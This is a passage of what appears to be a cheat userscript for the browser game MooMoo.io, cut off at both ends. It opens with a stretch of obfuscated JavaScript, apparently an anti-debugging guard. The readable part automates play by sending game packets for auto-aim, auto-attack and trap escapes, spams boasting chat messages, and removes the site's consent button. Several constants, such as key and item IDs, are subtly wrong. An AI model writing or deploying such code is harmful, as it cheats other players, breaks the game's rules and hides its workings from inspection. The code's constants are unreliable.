_0x9101ae=new _0x158f63();continue;}break;}}else(function(){function
_0x13a47f(_0x5aecd7,_0x1fc604,_0x277f91,_0x4a2655,_0x4e121a){return
_0x4fad63(_0x5aecd7-0x10d,_0x277f91,_0x277f91-0x149,_0x4a2655-0xc2,_0x5aecd7-
0x207);}function _0x141666(_0x3f4974,_0x1f2e7a,_0x361681,_0x2f13b2,_0x4935b9)
{return _0x5b6a19(_0x3f4974-0x3b,_0x4935b9,_0x361681-0x143,_0x2f13b2-
0x157,_0x361681-0x3);}function
_0x18fa53(_0x5c79bd,_0x577bd5,_0x19e8fa,_0x1e502e,_0x3e8ff8){return
_0x5b6a19(_0x5c79bd-0x9f,_0x1e502e,_0x19e8fa-0x54,_0x1e502e-0x13f,_0x5c79bd- -
0xa);}var _0x1c9079={};function
_0x306d79(_0x3241e7,_0x2b6762,_0x379386,_0x53031b,_0x48266c){return
_0x4fad63(_0x3241e7-0xec,_0x379386,_0x379386-0x1c7,_0x53031b-0x1bd,_0x3241e7- -
0x92);}_0x1c9079[_0x18fa53(0x3b2,0x467,0x53d,'Lx3w',0x256)]=_0x585db0[_0x13a47f(0x4
82,0x608,'f(z^',0x403,0x4d0)];function
_0x3bd855(_0x464d79,_0x3e809c,_0x55c7cb,_0x445c35,_0x1b4ea1){return
_0x4fad63(_0x464d79-0x1,_0x3e809c,_0x55c7cb-0x11a,_0x445c35-0x16,_0x1b4ea1-
0x207);}var
_0x7a2100=_0x1c9079;if(_0x585db0[_0x141666(0x222,0x258,0x271,0x132,'JS]v')]
(_0x585db0[_0x13a47f(0x36c,0x211,'it1a',0x236,0x3f0)],_0x585db0[_0x18fa53(0x140,0x1
93,0x204,'r7c3',0x99)])){var
_0x27ea9e=_0x7a2100[_0x306d79(0x1b9,0x1e8,'#Lo(',0xaf,0x29f)]
[_0x306d79(0x4f,0x33,'7qob',0x33,-0xca)]('|'),_0x10d014=-0x706+-
0x13e0+0x1ae6;while(!![]){switch(_0x27ea9e[_0x10d014++]){case'0':var
_0x48a55b=_0x59d02e[_0x4ed9cd];continue;case'1':var
_0x1468c2=_0x4405c4[_0x48a55b]||
_0x229f17;continue;case'2':_0x32c305[_0x48a55b]=_0x229f17;continue;case'3':_0x229f1
7[_0x306d79(-0x5e,-0x1de,'aouW',-0x1d0,0x27)+_0x306d79(-0x1b,-0xf7,'LvlD',-
0x11e,0x6c)]=_0x3a0c71[_0x13a47f(0x463,0x349,'9ov0',0x5e4,0x36c)]
(_0x46813c);continue;case'4':var
_0x229f17=_0x28ad83[_0x3bd855(0xfb,'@Bno',0x14f,0x2a7,0x212)+_0x18fa53(0x321,0x45d,
0x232,'it1a',0x224)+'r'][_0x306d79(0x20,-0x16a,'d%[W',-0x141,0xff)
+_0x3bd855(0x3bf,'7qob',0x528,0x352,0x3e2)]
[_0x3bd855(0x4bc,'DfKD',0x46b,0x3e4,0x3c6)]
(_0x5c1918);continue;case'5':_0x229f17[_0x3bd855(0x361,'Lt]4',0x28f,0x4a9,0x373)+_0
x3bd855(0x4ad,'5gj
%',0x4ef,0x4be,0x498)]=_0x1468c2[_0x3bd855(0x2f7,'k0Wh',0x131,0x3e1,0x2b5)+_0x13a47
f(0x3fe,0x507,'jNpr',0x441,0x4c3)][_0x306d79(0x13,-0xce,'4fLT',-0x102,-0x10a)]
(_0x1468c2);continue;}break;}}else return!![];}
[_0x4fad63(0x2c2,'7qob',0x342,0x23e,0x25e)+_0x5a39c3(0x421,0x3cc,0x470,'!
04e',0x49e)+'r'](_0x585db0[_0x30544b(0x4df,'5gj%',0x364,0x4d1,0x66b)]
(_0x585db0[_0x5a39c3(0x2ca,0x1d1,0xfc,'@fZ4',0x35b)],_0x585db0[_0x4fad63(0x7f,'v5E]
',-0x68,0xfb,0x128)]))[_0x5a39c3(0x4a5,0x332,0x409,'it1a',0x212)]
(_0x585db0[_0x5b6a19(0x2f9,'r7c3',0x1fe,0x1cf,0x2ef)]));}else{if(_0x585db0[_0x5a39c
3(0x2a,0x10a,-0x1f,'!04e',0xda)]
(_0x585db0[_0x4fad63(0x118,'Dc$y',0x1b,0x240,0x179)],_0x585db0[_0x5b6a19(0x3ec,'@t(
O',0x4dc,0x48f,0x373)])){if(_0x426276)return _0x339f9f;else
_0x585db0[_0x6678fa('LvlD',0x6c9,0x65e,0x6b2,0x743)](_0x51fa82,0xb1*-
0x32+0x1cc4+0x2*0x2e7);}else(function(){function
_0x9f97b2(_0x24d4a5,_0x33fe45,_0x718598,_0x31e4f3,_0x91a210){return
_0x5a39c3(_0x24d4a5-0xb0,_0x31e4f3-0xd3,_0x718598-0x10d,_0x33fe45,_0x91a210-
0x14);}function _0x830965(_0x334877,_0xf40c00,_0x47a31d,_0x45de73,_0x22a5ee){return
_0x30544b(_0x22a5ee-0xe2,_0x47a31d,_0x47a31d-0x12f,_0x45de73-0xc9,_0x22a5ee-
0x17e);}function _0x48f704(_0x3a9d67,_0x35be68,_0x343fff,_0x3f2c11,_0x86942){return
_0x4fad63(_0x3a9d67-0x168,_0x35be68,_0x343fff-0x1a8,_0x3f2c11-0x134,_0x86942-
0x15f);}function _0x1181e2(_0x7a5da9,_0x1c3670,_0x2e8d29,_0x30cb99,_0x6ea470)
{return _0x6678fa(_0x30cb99,_0x1c3670-0x15,_0x2e8d29-0x51,_0x6ea470- -
0x4e5,_0x6ea470-0xd2);}function
_0x2a864e(_0xbfa8d8,_0x519f01,_0x32752e,_0x51632b,_0x492210){return
_0x6678fa(_0x519f01,_0x519f01-0x1d3,_0x32752e-0x8a,_0x51632b- -0x423,_0x492210-
0x21);}if(_0x9629de[_0x1181e2(0x145,0x159,-0x6f,'UVwD',0x87)](_0x9629de[_0x1181e2(-
0x16c,0xaa,-0xdb,'U9*^',-
0x5)],_0x9629de[_0x48f704(0x211,'S)l@',0x218,0x46c,0x33d)])){var
_0x524325={'CugZh':_0x9629de[_0x2a864e(0x277,'UVwD',0x153,0x27d,0x3f7)],'LpDqp':_0x
9629de[_0x2a864e(0x1c7,'9ov0',-
0x76,0xa6,0x211)],'rfiZB':function(_0x2b2250,_0x3dc4bc){function
_0xef1484(_0x46f1fa,_0x353002,_0x14d3fb,_0x3719f6,_0x3f7932){return
_0x2a864e(_0x46f1fa-0x127,_0x353002,_0x14d3fb-0x54,_0x3719f6-0x4,_0x3f7932-
0x1f4);}return _0x9629de[_0xef1484(0x14f,'9MxT',0x36b,0x1e1,0x1f0)]
(_0x2b2250,_0x3dc4bc);},'ZQroP':_0x9629de[_0x2a864e(0x35f,'#%
$H',0x213,0x1e5,0x149)],'atGVC':function(_0x4a
2b74,_0x4f1927){function
_0x281619(_0x56dbd6,_0x688cc1,_0x219bc7,_0x2528f3,_0x3e1502){return
_0x48f704(_0x56dbd6-0x25,_0x2528f3,_0x219bc7-0x1cc,_0x2528f3-0x4d,_0x219bc7- -
0x14a);}return _0x9629de[_0x281619(-0x1d5,0xba,-0x5d,'Lx3w',-0x11a)]
(_0x4a2b74,_0x4f1927);},'meBwl':_0x9629de[_0x830965(0x38b,0x44a,'S)l@',0x688,0x4fd)
],'MqcsV':function(_0x2fe385,_0x4a5260){function
_0x477583(_0x155680,_0x4ccbf8,_0xca305e,_0x55bd6b,_0x84f273){return
_0x830965(_0x155680-0x78,_0x4ccbf8-0x1e9,_0xca305e,_0x55bd6b-0x15b,_0x84f273- -
0x2e6);}return _0x9629de[_0x477583(0x3ec,0x366,'XJEa',0x527,0x3c2)]
(_0x2fe385,_0x4a5260);},'kCkNf':_0x9629de[_0x1181e2(-0x96,0x81,-
0x63,'4fLT',0xd1)],'uySwl':function(_0x26c1a4,_0x29ce6b){function
_0x455361(_0x3de9dd,_0xd1eecc,_0x4ab028,_0x10bd82,_0x3e37c4){return
_0x9f97b2(_0x3de9dd-0x170,_0x3de9dd,_0x4ab028-0xaf,_0x4ab028-0x1e3,_0x3e37c4-
0x1f0);}return _0x9629de[_0x455361('q@Yi',0x2bd,0x43a,0x380,0x2f9)]
(_0x26c1a4,_0x29ce6b);},'qgVGG':function(_0x2bd11f){function
_0x5be29a(_0x438ff9,_0x564549,_0x3c1a68,_0x69cbe9,_0x44bbff){return
_0x9f97b2(_0x438ff9-0xed,_0x3c1a68,_0x3c1a68-0x13a,_0x564549-0x282,_0x44bbff-
0x92);}return _0x9629de[_0x5be29a(0x74a,0x6e2,'#Lo(',0x83e,0x638)]
(_0x2bd11f);}};_0x9629de[_0x2a864e(0x110,'j1UX',0x1ad,0x13b,0x139)]
(_0x48c8d7,this,function(){function
_0x3e2072(_0x57901c,_0x437150,_0x3bf11e,_0x33ce9e,_0x471504){return
_0x2a864e(_0x57901c-0x1a2,_0x3bf11e,_0x3bf11e-0x194,_0x57901c-0x3e0,_0x471504-
0xb9);}var _0x30f4f6=new
_0x4b812f(_0x524325[_0x3e2072(0x637,0x6fc,'7qob',0x5d9,0x562)]),_0x411c07=new
_0x41cc5c(_0x524325[_0x3e2072(0x5ad,0x73e,'k0Wh',0x497,0x685)],'i');function
_0x30b669(_0x13d855,_0x367068,_0x150365,_0x215225,_0x49dbe8){return
_0x2a864e(_0x13d855-0x15e,_0x215225,_0x150365-0x1ce,_0x150365-0xb,_0x49dbe8-
0x20);}function _0x19b2b3(_0xf2fec1,_0x11a7ca,_0x3cc053,_0xc2cd29,_0x3d6577){return
_0x2a864e(_0xf2fec1-0x1c8,_0x3d6577,_0x3cc053-0x109,_0xf2fec1- -0x109,_0x3d6577-
0xd5);}var _0x546e2a=_0x524325[_0x54ccbc(0x19d,0x265,0x3cf,0x14a,'tsW)')]
(_0x266b04,_0x524325[_0x30b669(0x27b,0x2bf,0x37d,'[nZV',0x2e0)]);function
_0x54ccbc(_0x5158e7,_0x372008,_0x339c74,_0x5382c0,_0x5d8785){return
_0x2a864e(_0x5158e7-0x1dc,_0x5d8785,_0x339c74-0xae,_0x372008- -0xab,_0x5d8785-
0x176);}function _0x13f7f4(_0x42e882,_0x36e563,_0x40d616,_0x160bb7,_0x101080)
{return _0x830965(_0x42e882-0xfd,_0x36e563-0x150,_0x40d616,_0x160bb7-
0x1e,_0x42e882- -0x4f7);}!_0x30f4f6[_0x30b669(0x1d2,0x3e0,0x341,'WvuB',0x33f)]
(_0x524325[_0x19b2b3(0x27,-0x15e,0x145,-0xde,'@fZ4')]
(_0x546e2a,_0x524325[_0x3e2072(0x608,0x609,'@t(O',0x624,0x652)]))||!
_0x411c07[_0x3e2072(0x716,0x587,'WvuB',0x804,0x777)](_0x524325[_0x54ccbc(-
0xbb,0x1c,0x140,-0x106,'9ov0')]
(_0x546e2a,_0x524325[_0x30b669(0x214,0x25b,0x320,'4fLT',0x2af)]))?
_0x524325[_0x30b669(0x1ab,0x197,0xd1,'@t(O',0xf1)]
(_0x546e2a,'0'):_0x524325[_0x54ccbc(0x92,0x1c5,0xf5,0x146,'r7c3')](_0xd13eb2);})
();}else return![];}
[_0x5b6a19(0x2a9,'j1UX',0xa6,0x111,0x1f8)+_0x6678fa('I8xF',0x5ad,0x689,0x6c3,0x6b9)
+'r'](_0x585db0[_0x5b6a19(0x3e7,'7qob',0x475,0x2b7,0x35a)]
(_0x585db0[_0x6678fa('WvuB',0x3e0,0x4a3,0x52f,0x410)],_0x585db0[_0x6678fa('it1a',0x
621,0x628,0x76c,0x638)]))[_0x4fad63(0x1b9,'S)l@',0xeb,0x9b,0x1cb)]
(_0x585db0[_0x30544b(0x35d,'pSih',0x41c,0x429,0x298)]));}}else{var
_0x27e09d=_0x550d21?function(){function
_0x463a94(_0x1c7a3c,_0x720556,_0x493309,_0xf1b53c,_0x40c7e1){return
_0x30544b(_0x1c7a3c-0x13e,_0x40c7e1,_0x493309-0x14e,_0xf1b53c-0x128,_0x40c7e1-
0x109);}if(_0x5e481b){var
_0x11e535=_0x1b2f5c[_0x463a94(0x611,0x652,0x623,0x682,'jNpr')]
(_0x1d11aa,arguments);return _0x2c9e02=null,_0x11e535;}}:function(){};return
_0x4e8d3f=![],_0x27e09d;}}_0x585db0[_0x6678fa('!04e',0x8b8,0x7a5,0x7ab,0x8f6)]
(_0x5e2a45,++_0x5281d0);}else{if(_0x1ee1e8){var _0x15f379=_0x53521a[_0x6678fa('8[$
[',0x738,0x638,0x782,0x673)](_0xd81ac4,arguments);return
_0x41a4ed=null,_0x15f379;}}}try{if(_0x585db0[_0xbdf085(0x4e1,0x64d,0x513,'7qob',0x4
70)]
(_0x585db0[_0x1b38c3(0x3b6,0x4b2,0x377,0x43b,'LvlD')],_0x585db0[_0x49cc56(0x3ae,'k0
Wh',0x1de,0x35e,0x281)]))(function(){return![];}
[_0xbdf085(0x3b8,0x5af,0x4c5,'m[WX',0x610)+_0x1b38c3(0x3b0,0x145,0x2c3,0x2fc,'8[$
[')+'r'](_0x585db0[_0x1b38c3(0x236,0x190,0x2cb,0x210,'ERFh')]
(_0x585db0[_0x4dd360('U9*^',0x111,0x71,0x15b,0xbc)],_0x585db0[_0x1b38c3(0x3a5,0x290
,0x3ee,0x4a7,'Ducp')]))[_0x49cc56(0x398,'@t(O',0x4d8,0x49f,0x37b)]
(_0x585db0[_0x3298ae('I8xF',0x319,0x358,0x2b1,0x1d2)]));else{if(_0x21ad3e)
{if(_0x585db0[_0x3298ae('#%$H',0x2c2,0x389,0x137,0x25a)]
(_0x585db0[_0x3298ae('SrZ4',0x2ab,0x2aa,0x1eb,0x27d)],_0x585db0[_0x1b38c3(0x3d7,0x3
cd,0x2ab,0x342,'Ag]*')]))return _0x5e2a45;else(function(){return!![];}
[_0x3298ae('%c1c',0x183,0x38,0xd6,0x9b)+_0x1b38c3(0xc8,0x251,0x1a5,0x1f9,'@t(O')
+'r'](_0x585db0[_0x49cc56(0x39a,'@Bno',0x225,0x3c6,0x2a3)]
(_0x585db0[_0x3298ae('4fLT',0xb4,0x1a2,0x2e3,0x1ac)],_0x585db0[_0x49cc56(0x324,'%c1
c',0x2fc,0x2cc,0x1d7)]))[_0x3298ae('9MxT',0x50,-0xd3,0x158,-0x6)]
(_0x585db0[_0x49cc56(0x300,'[nZV',0x2d1,0x257,0x3d1)]));}else{if(_0x585db0[_0x4dd36
0('5gj%',0x1a3,0x16d,0x1a,-0x13a)](_0x585db0[_0x4dd360('ERFh',-0x116,-
0x4,0x20,0xed)],_0x585db0[_0x4dd360('it1a',-0x88,0x1ef,0x78,-
0x65)]))_0x585db0[_0x1b38c3(0x104,0x3dc,0x264,0x3e6,'[nZV')]
(_0x5e2a45,0x1933+0xfa3+0x28d6*-0x1);else return _0x2183f0;}}}catch(_0x324e79){}}

let InbundleMyPlayer;
setInterval(() => {
function e(e) {
return null !== e.offsetParent
}
var t = 3;
try {
if(e(document.getElementById("actionBarItem26"))) {
let e;
(e = document.createElement("div")).id = "windmillCounts26",
e.style.cssText = "position: absolute;top: 0;padding-left:
5px;font-size: 2em;color: #fff;text-shadow: #FFFFFF 1px 1px 40px;",
document.getElementById("windmillCounts26") ||
document.getElementById("actionBarItem26")
.appendChild(e),
document.getElementById("windmillCounts26").innerHTML =
InbundleMyPlayer.itemCounts[t] || 0
}
} catch (e) {}
try {
if(e(document.getElementById("actionBarItem27"))) {
let e;
(e = document.createElement("div"))
.id = "windmillCounts27", e.style.cssText = "position:
absolute;top: 0;padding-left: 5px;font-size: 2em;color: #fff;text-shadow: #FFFFFF
1px 1px 40px;", document.getElementById("windmillCounts27") ||
document.getElementById("actionBarItem27")
.appendChild(e), document.getElementById("windmillCounts27")
.innerHTML = InbundleMyPlayer.itemCounts[t] || 0
}
} catch (e) {}
try {
if(e(document.getElementById("actionBarItem28"))) {
let e;
(e = document.createElement("div"))
.id = "windmillCounts28", e.style.cssText = "position:
absolute;top: 0;padding-left: 5px;font-size: 2em;color: #fff;text-shadow: #FFFFFF
1px 1px 40px;;", document.getElementById("windmillCounts28") ||
document.getElementById("actionBarItem28")
.appendChild(e), document.getElementById("windmillCounts28")
.innerHTML = InbundleMyPlayer.itemCounts[t] || 0
}
} catch (e) {}
t = 6;
try {
if(e(document.getElementById("actionBarItem32"))) {
let e;
(e = document.createElement("div"))
.id = "boostCounts32", e.style.cssText = "position: absolute;top:
0;padding-left: 5px;font-size: 2em; color: #fff;text-shadow: #FFFFFF 1px 1px
40px;;", document.getElementById("boostCounts32") ||
document.getElementById("actionBarItem32")
.appendChild(e), document.getElementById("boostCounts32")
.innerHTML = InbundleMyPlayer.itemCounts[t] || 0
}
} catch (e) {}
t = 5;
try {
if(e(document.getElementById("actionBarItem31"))) {
let e;
(e = document.createElement("div"))
.id = "trapCounts31", e.style.cssText = "position: absolute;top:
0;padding-left: 5px;font-size: 2em; color: #fff;text-shadow: #FFFFFF 1px 1px
40px;", document.getElementById("trapCounts31") ||
document.getElementById("actionBarItem31")
.appendChild(e), document.getElementById("trapCounts31")
.innerHTML = InbundleMyPlayer.itemCounts[t] || 0
}
} catch (e) {}
t = 2;
for(var n = 0; n < 4; n++) try {
if(e(document.getElementById("actionBarItem" + (22 + n)))) {
let e;
(e = document.createElement("div"))
.id = "spikeCounts" + (22 + n), e.style.cssText = "position:
absolute;top: 0;padding-left: 5px;font-size: 2em; color: #fff;text-shadow: #FFFFFF
1px 1px 40px;", document.getElementById("spikeCounts" + (22 + n)) ||
document.getElementById("actionBarItem" + (22 + n))
.appendChild(e), document.getElementById("spikeCounts" + (22 + n))
.innerHTML = InbundleMyPlayer.itemCounts[t] || 0
}
} catch (e) {}
try {
if(e(document.getElementById("actionBarItem" + (22 + n)))) {
let e;
(e = document.createElement("div"))
.id = "cookieCounts17", e.style.cssText = "position: absolute;top:
0;padding-left: 5px;font-size: 2em; color: #fff;text-shadow: #FFFFFF 1px 1px
40px;", document.getElementById("cookieCounts17") ||
document.getElementById("actionBarItem17")
.appendChild(e), document.getElementById("cookieCounts17")
.innerHTML =
Math.floor(Number(document.getElementById("foodDisplay")
.innerHTML) / 15)
}
} catch (e) {}
try {
if(e(document.getElementById("actionBarItem" + (22 + n)))) {
let e;
(e = document.createElement("div"))
.id = "appleCounts16", e.style.cssText = "position: absolute;top:
0;padding-left: 5px;font-size: 2em; color: #fff;text-shadow: #FFFFFF 1px 1px
40px;", document.getElementById("appleCounts16") ||
document.getElementById("actionBarItem16")
.appendChild(e), document.getElementById("appleCounts16")
.innerHTML =
Math.floor(Number(document.getElementById("foodDisplay").innerHTML) / 10)
}
} catch (e) {}
t = 7;
try {
if(e(document.getElementById("actionBarItem33"))) {
let e;
(e = document.createElement("div"))
.id = "turretCounts33", e.style.cssText = "position: absolute;top:
0;padding-left: 5px;font-size: 2em; color: #fff;text-shadow: #FFFFFF 1px 1px
40px;", document.getElementById("turretCounts33") ||
document.getElementById("actionBarItem33")
.appendChild(e), document.getElementById("turretCounts33")
.innerHTML = InbundleMyPlayer.itemCounts[t] || 0
}
} catch (e) {}
t = 1;
for(n = 0; n < 3; n++) try {
if(e(document.getElementById("actionBarItem" + (19 + n)))) {
let e;
(e = document.createElement("div"))
.id = "wallCounts" + (19 + n), e.style.cssText = "position:
absolute;top: 0;padding-left: 5px;font-size: 2em;color: #fff;text-shadow: #FFFFFF
1px 1px 40px;", document.getElementById("wallCounts" + (19 + n)) ||
document.getElementById("actionBarItem" + (19 + n))
.appendChild(e), document.getElementById("wallCounts" + (19 + n))
.innerHTML = InbundleMyPlayer.itemCounts[t] || 0
}
} catch (e) {}
}, 100)

var ID_Shame = 45
, ID_MooCap = 51
, ID_AppleCap = 50
, ID_MooHead = 28
, ID_PigHead = 29
, ID_FluffHead = 30
, ID_PandouHead = 36
, ID_BearHead = 37
, ID_MonkeyHead = 38
, ID_PolarHead = 44
, ID_FezHat = 35
, ID_EnigmaHat = 42
, ID_BlitzHat = 43
, ID_BobXIIIHat = 49
, ID_Pumpkin = 57
, ID_BumbleHat = 8
, ID_StrawHat = 2
, ID_WinterCap = 15
, ID_CowbowHat = 5
, ID_RangerHat = 4
, ID_ExplorerHat = 18
, ID_FlipperHat = 31
, ID_MarksmanCap = 1
, ID_BushGear = 10
, ID_Halo = 48
, ID_SoldierHelmet = 6
, ID_AntiVenomGear = 23
, ID_MedicGear = 13
, ID_MinersHelmet = 9
, ID_MusketeerHat = 32
, ID_BullHelmet = 7
, ID_EmpHelmet = 22
, ID_BoosterHat = 12
, ID_BarbarianArmor = 26
, ID_PlagueMask = 21
, ID_BullMask = 46
, ID_WindmillHat = 14
, ID_SpikeGear = 11
, ID_TurretGear = 53
, ID_SamuraiArmor = 20
, ID_DarkKnight = 58
, ID_ScavengerGear = 27
, ID_TankGear = 40
, ID_TheifGear = 52
, ID_BloodThirster = 55
, ID_AssasinGear = 56;

var ID_Snowball = 12
, ID_TreeCape = 9
, ID_StoneCape = 10
, ID_CookieCape = 3
, ID_CowCape = 8
, ID_MonkeyTail = 11
, ID_AppleBasket = 17
, ID_WinterCape = 6
, ID_SkullCape = 4
, ID_DashCape = 5
, ID_DragonCape = 2
, ID_SuperCape = 1
, ID_TrollCape = 7
, ID_Thorns = 14
, ID_Blockades = 15
, ID_DevilsTail = 20
, ID_Sawblade = 16
, ID_AngelWings = 13
, ID_ShadowWings = 19
, ID_BloodWings = 18
, ID_CorruptXWings = 21;

var ID_ToolHammer = 0
, ID_HandAxe = 1
, ID_GreatAxe = 2
, ID_ShortSword = 3
, ID_Katana = 4
, ID_Polearm = 5
, ID_Bat = 6
, ID_Daggers = 7
, ID_Stick = 8
, ID_HuntingBow = 9
, ID_GreatHammer = 10
, ID_WoodenShield = 11
, ID_Crossbow = 12
, ID_RepeaterCrossbow = 13
, ID_McGrabby = 14
, ID_Musket = 15
, ID_Apple = 16
, ID_Cookie = 17
, ID_Cheese = 18
, ID_StoneWall = 20
, ID_CastleWall = 21
, ID_Spikes = 22
, ID_GreaterSpikes = 23
, ID_PoisonSpikes = 24
, ID_SpinningSpikes = 25
, ID_Windmill = 26
, ID_FasterWindmill = 27
, ID_Powermill = 28
, ID_Mine = 29
, ID_Sapling = 30
, ID_PitTrap = 31
, ID_BoostPad = 320
, ID_Turret = 33
, ID_Platform = 34
, ID_HealingPad = 35
, ID_Spawnpad = 36
, ID_Blocker = 37
, ID_Teleporter = 38

var Key_Backspace = 8, Key_Tab = 9, Key_Enter = 13, Key_Shift = 16, Key_Ctrl = 17,


Key_Alt = 18, Key_Esc = 27, Key_Space = 32, Key_PageUp = 33, Key_PageDown = 34,
Key_End = 35, Key_Home = 36, Key_LeftArrow = 37, Key_UpArrow = 38, Key_RightArrow =
39, Key_DownArrow = 40, Key_Insert = 45, Key_Delete = 46, Key_A = 65, Key_B = 66,
Key_C = 67, Key_D = 68, Key_E = 69, Key_F = 70, Key_G = 71, Key_H = 72, Key_I = 73,
Key_J = 74, Key_K = 75, Key_L = 76, Key_M = 77, Key_N = 78, Key_O = 79, Key_P = 80,
Key_Q = 81, Key_R = 82, Key_S = 83, Key_T = 84, Key_U = 85, Key_V = 86, Key_W = 87,
Key_X = 88, Key_Y = 89, Key_Z = 90, Key_Numpad0 = 96, Key_Numpad1 = 97, Key_Numpad2
= 98, Key_Numpad3 = 99, Key_Numpad4 = 100, Key_Numpad5 = 101, Key_Numpad6 = 102,
Key_Numpad7 = 103, Key_Numpad8 = 104, Key_Numpad9 = 105, Key_NumpadMultiply = 106,
Key_NumpadAdd = 107, Key_NumpadSubtract = 109, Key_NumpadDecimal = 110,
Key_NumpadDevide = 111, Key_Semicolon = 116, Key_Equal = 187, Key_Comma = 188,
Key_Minus = 189, Key_Period = 190, Key_Slash = 191, Key_BackQuote = 192,
Key_BracketLeft = 219, Key_BracketRight = 221, Key_BackSlash = 220, Key_Quote =
222, Key_0 = 48, Key_1 = 49, Key_2 = 50, Key_3 = 51, Key_4 = 52, Key_5 = 53, Key_6
= 54, Key_7 = 55, Key_8 = 56, Key_9 = 56;

function changeHue() {
hue += Math.random() * 3;
}

setInterval(changeHue, 10);

$("#ot-sdk-btn-floating").remove();
setInterval(() => window.follmoo && follmoo()(), 99999);

(function() {
var UPDATE_DELAY = 700;

var lastUpdate = 0;
var frames = 0;

var displayElement = document.createElement("div");


displayElement.style.padding = "5px";
displayElement.style.font = "16px Arial";
displayElement.style.display = "block";
displayElement.style.position = "fixed";
displayElement.style.top = "0px";
displayElement.style.left = "0px";
displayElement.textContent = "L_oAnDin_";
document.body.appendChild(displayElement);

function cssColorToRGB(color) {
var values;

if (color.startsWith("rgba")) {
values = color.substring(5, color.length - 1).split(",");
} else if (color.startsWith("rgb")) {
values = color.substring(4, color.length - 1).split(",");
} else if (color.startsWith("#") && color.length === 4) {
values = [];
values[0] = "" + parseInt("0x" + color.substr(1, 1));
values[1] = "" + parseInt("0x" + color.substr(2, 1));
values[2] = "" + parseInt("0x" + color.substr(3, 1));
} else if (color.startsWith("#") && color.length === 7) {
values = [];
values[0] = "" + parseInt("0x" + color.substr(1, 2));
values[1] = "" + parseInt("0x" + color.substr(3, 2));
values[2] = "" + parseInt("0x" + color.substr(5, 2));
} else {
return {r : 255, g : 255, b : 255};
}

return {
r : Number(values[0]),
g : Number(values[1]),
b : Number(values[2])
};
}

function getInvertedRGB(values) {
return "rgb(" + (255 - values.r) + "," + (9 - values.g) + ","
+ (9 - values.b) + ")";
}

function getOpaqueRGB(values) {
return "rgba(" + values.r + "," + values.g + "," + values.b + ",0.7)";
}

function updateCounter() {
var bgColor = getComputedStyle(document.body, null).getPropertyValue(
"background-color");
var bgColorValues = cssColorToRGB(bgColor);
var textColor = getInvertedRGB(bgColorValues);
var displayBg = getOpaqueRGB(bgColorValues);
displayElement.style.color = `hsl(${hue}, 100%, 50%)`;
displayElement.style.background = displayBg;

var now = Date.now();


var elapsed = now - lastUpdate;
if (elapsed < UPDATE_DELAY) {
++frames;
} else {
var fps = Math.round(frames / (elapsed / 1500));
displayElement.textContent = fps + " FPS";
frames = 0;
lastUpdate = now;
}

requestAnimationFrame(updateCounter);
}

lastUpdate = Date.now();
requestAnimationFrame(updateCounter);
})();

let hue = 0;

let replaceInterval = setInterval(() => {


if (CanvasRenderingContext2D.prototype.roundRect) {
CanvasRenderingContext2D.prototype.roundRect = ((oldFunc) => function() { if
(this.fillStyle == "#8ecc51") this.fillStyle = `hsl(${hue}, 100%, 50%)`; return
oldFunc.call(this, ...arguments); })(CanvasRenderingContext2D.prototype.roundRect);
clearInterval(replaceInterval);
}}, 10);

setInterval(changeHue, 10);

const pingDisplay = $("#pingDisplay");//ping display


pingDisplay.css("top", "3px");
pingDisplay.css("display", "block");
$("body").append(pingDisplay);

var kills = 10;

setInterval(getkills, 250);

function getkills(){
var count = parseInt(document.getElementById("killCounter").innerText);
if(count > kills){
setTimeout(() => {
doNewSend(["ch", ["NooBs Killed: "+count]]);
},0);
setTimeout(() => {
doNewSend(["ch", ["I'm The Best"]]);
},1500);

}
kills = count;
}
var PriReloaded = true;
var SecReloaded = true;

let mouseX;
let mouseY;

let width;
let height;

setInterval(() => {
if(clanToggle == 1) {
doNewSend(["9", [null]]);
doNewSend(["8", [animate(false, 5)]])
}
doNewSend(["testing", [6]]);
}, 200);

setInterval(()=>{
var text = document.getElementById("loadingText").innerText;
if (text == "disconnected\nreload") {
window.onbeforeunload = null;
document.body.remove();
window.location.href = window.location.href;
}
}, 0);

setInterval(() => {
if(autoaim == true) {
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["c", [1, nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["c", [1, nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["c", [1, nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["c", [1, nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["c", [1, nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["c", [1, nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["c", [1, nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["c", [1, nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["c", [1, nearestEnemyAngle]]);
doNewSend(["2", [nearestEnemyAngle]]);
doNewSend(["c", [1, nearestEnemyAngle]]);
}
}, 0);

setInterval(() => {
if(autoprimary == true) {
doNewSend(["5", [primary, true]]);
}
}, 0);
setInterval( () => {
if (can_ab == true && autosecondary == false && insta == false && gona == false
&& ab == true && hit == false && lmao == false && intrap === true &&
Math.sqrt(Math.pow((myPlayer.y - TrapCoord.y), 2) + Math.pow ((myPlayer.x -
TrapCoord.x), 2)) < 50) {
if (secondary!= 10) {
if (PriReloaded) {
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["2", [trap_a]]);
doNewSend(["c", [1, trap_a]]);
doNewSend(["13c", [1, 40, 0]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 40, 0]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(["2", [trap_a]]);
doNewSend(["c", [1, trap_a]]);
}
} else {
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["13c", [1, 6, 0]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 6, 0]]);
doNewSend(["13c", [0, 21, 1]]);
}
}
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["5", [primary, true]]);
}
} else {
if (SecReloaded) {
if(autosecondary == false && insta == false && gona == false) {
doNewSend(["2", [trap_a]]);
doNewSend(["c", [1, trap_a]]);
doNewSend(["13c", [1, 40, 0]]);
doNewSend(["13c", [1, 21, 1]]);
doNewSend(["13c", [0, 40, 0]]);
doNewSend(["13c", [0, 21, 1]]);
doNewSend(["2", [trap_a]]);
doNewSend(["c", [1, trap_a]]);
}
} else {
